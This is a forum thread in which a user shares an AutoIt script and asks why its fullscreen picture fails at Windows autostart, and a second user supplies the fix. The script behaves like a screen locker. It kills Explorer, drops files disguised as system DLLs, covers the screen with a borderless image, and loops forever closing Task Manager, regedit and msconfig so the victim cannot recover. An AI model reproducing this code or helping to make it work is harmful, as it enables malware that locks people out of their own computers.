atem32 Posted January 14, 2011 Share Posted January 14, 2011 I have made an autoit script #include <WindowsConstants.au3> $w = @DesktopWidth $h = @DesktopHeight $e = "explorer.exe" $r = "regedit.exe" $m = "msconfig.exe" Opt("TrayIconHide",1) ProcessClose($e) ProcessWaitClose($e) FileInstall("mswga.dll","C:\Program Files\Common Files\System\mswga.dll",1) FileInstall("msado.dll","C:\Program Files\Common Files\System\ado\msado.dll",1) FileInstall("oledbjvs.dll","C:\Program Files\Common Files\System\Ole DB\oledbjvs.dll",1) GUICreate("",$w, $h,0,0,$WS_POPUP) GUICtrlCreatePic( "mswga.dll",0,0,$w,$h) GUISetState(@SW_SHOW) Run("msado.dll") Sleep(10000) Run("oledbjvs.dll") While 1 If WinExists("Диспетчер задач Windows","") Then WinClose("Диспетчер задач Windows") EndIf If ProcessExists($e) Then ProcessClose($e) EndIf If ProcessExists($r) Then ProcessClose($r) EndIf If ProcessExists($m) Then ProcessClose($m) EndIf WEnd it works fine.but if i put it in autostart of windows,i have just a gui(with other things running perfectly). But as you see i need a gui with picture(mswga.dll is really picture!) Can you help me to get gui with picture work correctly on autostart. P.S. If I run script manually,i get a working gui with picture. Link to comment Share on other sites More sharing options...
Zedna Posted January 14, 2011 Share Posted January 14, 2011 Use full path in GUICtrlCreatePic() GUICtrlCreatePic( "C:\Program Files\Common Files\System\mswga.dll",0,0,$w,$h) Resources UDF ResourcesEx UDF AutoIt Forum Search Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now